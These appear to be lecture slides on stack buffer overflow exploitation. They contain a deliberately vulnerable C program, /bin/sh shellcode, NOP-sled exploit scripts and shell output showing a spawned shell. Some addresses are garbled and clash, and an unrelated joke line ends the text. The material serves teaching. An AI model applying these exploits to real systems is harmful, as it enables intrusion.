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Buffer Overflow 2

*“To kill the Enemy, you should know him as well as you know yourself.”—
Anonymous*

Buffer Overflow: Shellcode Injection Method 1

Injecting shellcode

- Default permission of stack is rw
- To execute shellcode, stack must have 'x' permission
- Compile program using additional option to make stack executable
 - -z execstack

Vulnerable Program

```
#include <stdio.h>

void vuln_fun(int d) {
    char buf[32];
    printf("Address of buf is at %p\n", buf);
    gets(buf);
}

int main() {
    vuln_fun(0xdeadbeef);
    return 0;
}
```

Idea

0xBFFFFFF6AC	0xB7E31533
0xBFFFFFF6F8	0x0
0xBFFFFFF6F4	0xdeadbeef
0xBFFFFFF2E8	0x08048434
0xBFFFFFF2E4	0xBFFFFFF6F8
0xBFFFFFF2E0	buf8
...	...
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0xBFFFFFF6C8	buf0

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Shellcode length = 25 bytes

```
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
```

What do u do with remaining 7 bytes?

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Use NOP-sled - a series of NOP instructions at the beginning of the overflowing buffer so that the jump does not need to be too precise (aka no-operation sled)

Shellcode length = 25 bytes

```
\x90\x90\x90\x90\x90\x90\x90\x90\x31\xcc  
0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2  
f\x62\x69\x89\xe3\x50\x53\x89\xe1\x  
89\xc2\xb0\x0b\xcd\x80
```

Step 1: How many bytes to overwrite

```
~/2018-NetSecCourse/Lecture-5$ python -c 'print "A" * 32' | ./vuln
```

Address of buf is at 0xbffffff330, deadbeef

```
~/2018-NetSecCourse/Lecture-5$ python -c 'print "A" * 42' | ./vuln
```

Address of buf is at 0xbffffff330, deadbeef

Segmentation fault (core dumped)

```
~/2018-NetSecCourse/Lecture-5$ python -c 'print "A" * 40' | ./vuln
```

Address of buf is at 0xbffffff330, deadbeef

Segmentation fault (core dumped)

```
~/2018-NetSecCourse/Lecture-5$ python -c 'print "A" * 38' | ./vuln
```

Address of buf is at 0xbffffff330, deadbeef

```
~/2018-NetSecCourse/Lecture-5$ python -c 'print "A" * 39' | ./vuln
```

Address of buf is at 0xbffffff330, deadbeef

Conclusion: 40 bytes until EBP, 44 bytes until return address

Step 2: Exploit String

- In file exploit.py

```
from struct import pack
```

```
#final exploit string
```

```
p = ''
```

```
#shellcode
```

```
exploit =
```

```
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
```

```
#total length of exploit
```

```
total = 44
```

```
#length of nop sled
```

```
nop_len = total - len(exploit);
```

```
junk = ((nop_len) * "\x90")
```

```
#pack used to pack data in little endian format. '<' implies little endian
```

```
# I is unsigned int of 4 bytes
```

```
p += exploit + junk + pack("<I", 0xbffff330) #
```

```
print p
```

Step 3: Determine Address of Buffer

- Program prints address of buffer = 0xbffff330

```
p += exploit + junk + pack("<I", 0xbffff330)
```

Step 4 Injecting Shellcode

- As input to scanf

```
vol@ubuntu:~/2018-NetSecCourse/Lecture-5$ python  
exploit.py | ./vuln
```

Address of buf is at 0xbffff330, deadbeef

```
vol@ubuntu:~/2018-NetSecCourse/Lecture-5$ whoami  
vol
```

No errors .. But not spawning shell either. The shellcode itself will work. But no shell prompt. Why?

Step 4 Injecting Shellcode

```
vol@ubuntu:~/2018-NetSecCourse/Lecture-5$ python  
exploit.py | ./vuln
```

Address of buf is at 0xbffffff330, deadbeef

```
vol@ubuntu:~/2018-NetSecCourse/Lecture-5$ whoami  
Vol
```

Issue is not with shellcode. Once the exploit python program is run, an EOF is sent to the stdin of the shell program, which causes it to terminate.

Step 4 Injecting Shellcode

To get shell – Approach 1

```
vol@ubuntu:~/2018-NetSecCourse/Lecture-5$ (python  
exploit.py; cat) | ./vuln
```

Address of buf is at 0xbffff330, deadbeef

whoami

vol

ls

```
badfile  exploit.py  peda-session-dash.txt  peda-session-  
env.txt  peda-session-vuln.txt  scanftest  scanftest.c  
testenv  testenv.c  vuln  vuln.c
```

pwd

/home/vol/2018-NetSecCourse/Lecture-5

Cat pipes output of python command as input of program
and waits for more input

<https://unix.stackexchange.com/questions/103885/piping-data-to-a-processs-stdin-without-causing-eof-afterward>

Step 4 Injecting Shellcode

To get shell – Approach 2

```
vol@ubuntu:~/2018-NetSecCourse/Lecture-5$python  
exploit.py > badfile
```

```
vol@ubuntu:~/2018-NetSecCourse/Lecture-5$ cat  
badfile - | ./vuln
```

Address of buf is at 0xbffff330, deadbeef
pwd

/home/vol/2018-NetSecCourse/Lecture-5

Here *cat* interprets – as stdin

<https://unix.stackexchange.com/questions/103885/piping-data-to-a-processs-stdin-without-causing-eof-afterward>

Step 3: Determine Address of Buffer in GDB

```
gdb-peda$ p &buf  
$1 = (char (*)[32]) 0xbffff2e0
```

Address of buf outside GDB 0xbffff330 (difference of 0x50 bytes)

What is the reason?

1. Environment variables loaded by GDB
2. Name of the file is referred to as absolute file name in GDB

<https://stackoverflow.com/questions/32771657/gdb-showing-different-address-than-in-code>

Step 4: Inject Shellcode

```
gdb-peda$ r < <(cat badfile -)
Address of buf is at 0xbffff2e0, deadbeef
process 10731 is executing new program: /bin/dash
pwd
/home/vol/2018-NetSecCourse/Lecture-5
```

Note: Edit exploit with address of buffer inside GDB

Guessing Buffer Address

- In most cases the address of buffer is not known
- It has to be guessed (and the guess must be very precise)
- NOP Sled can be used to get the address right.
- For larger buffers you can put a NOP sled in the beginning

Buffer Overflow: Shellcode Injection Method 2

Step 2: Exploit String in Env Var

- Crafting exploit string to be stored in environment variable
- from struct import pack

```
p = ''  
exploit =  
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x6  
9\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
```

```
total = 512  
nop_len = total - len(exploit);  
junk = ((nop_len) * "\x90")  
p += junk + exploit  
print p
```

```
export EGG=`python setenvexploit.py`
```


Step 3: Injected Shellcode

```
from struct import pack
```

```
p = ''
```

```
total = 44
```

```
junk = (total * "\x90")
```

```
p += junk + pack("<I", 0xbffff488)
```

```
print p
```

```
vol@ubuntu:~/2018-NetSecCourse/Lecture-5$ (python exploitenv.py;  
cat) | ./vuln
```

```
Address of buf is at 0xbffff150, deadbeef
```

```
pwd
```

```
/home/vol/2018-NetSecCourse/Lecture-5
```


References

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ROBOT-CLEANER STOLE ALL MY
CRYPTO-CURRENCY AND ELOPED
IN MY SELF-DRIVING CAR.

